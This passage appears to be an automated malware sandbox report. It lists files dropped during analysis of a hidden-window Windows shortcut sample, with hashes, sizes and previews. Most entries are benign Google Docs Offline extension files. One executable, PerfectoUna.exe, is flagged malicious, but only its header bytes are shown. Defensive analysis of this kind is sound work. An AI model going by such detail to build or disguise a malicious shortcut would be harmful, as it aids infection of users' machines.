SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	979567147
Entropy (8bit):	0.041789185797822925
Encrypted:	false
SSDEEP:
MD5:	5C65CCC4E6024BB5AC70F33AD4ED7DEA
SHA1:	FE43DE74E55C42EC6087E1C4D433703D5765667D
SHA-256:	23B3CA8130145F8E625DECF73DE5B7D06BDEBDED7349EB459C9029C7797265A1
SHA-512:	AAEAB13AAF2C3900F81136EE90E9EFE8E0C49D64AEAAFF526EB547B7EDD14F067A46F2086D1AF0ABF39D585C38FD9274237ECB7F5B140825066479062CCA0C30
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Qn..Qn..Qn......@n.......n......Cn......Gn.......n......Wn......Kn......Pn......Ln..Qn..qo.......n....A.Pn..Qn).Pn......Pn..RichQn..........PE..L.....f...............!.....4#...................@..........................P-......D"...@.................................."..........p. ..............)...........w..p...........................@v..@............................................text............................... ..`.rdata...`.......T..................@..@.data....`...@...>... ..............@....rsrc...p. ....... ..^..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.417602349936106
Encrypted:	false
SSDEEP:	6144:wcifpi6ceLPL9skLmb0mNSWSPtaJG8nAgex285i2MMhA20X4WABlGuN75+:Vi58NSWIZBk2MM6AFB9o
MD5:	5134A2280C371E3DA32270BD091C256C
SHA1:	984D97AF054301F6BE92C63DDE60499E7B56611F
SHA-256:	EEE24009C0E53D380C4ACABD596950D11B61DB1F153289EE23099D7E15FC4DA3
SHA-512:	9391F069B5184D91EA85BAA0BC7C4C95C9A19321E04CF09EE42A248185C698070D5B04E47649FF29147688E9052C6928CD1DF5A3218D7B8B28DC4E0EA9D55C4C
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>.}D!R................................................................................................................................................................................................................................................................................................................................................jp........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Thu Nov 28 22:32:21 2024, mtime=Sun Dec 1 16:36:54 2024, atime=Thu Nov 28 22:32:21 2024, length=289792, window=hide
Entropy (8bit):	3.7264418862702895
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	CNUXJvLcgw.lnk
File size:	2'600 bytes
MD5:	e461bcf2c24690059f65197769c5e4b6
SHA1:	c475fb6243d45594dde23c46e3c2ddef0a24d358
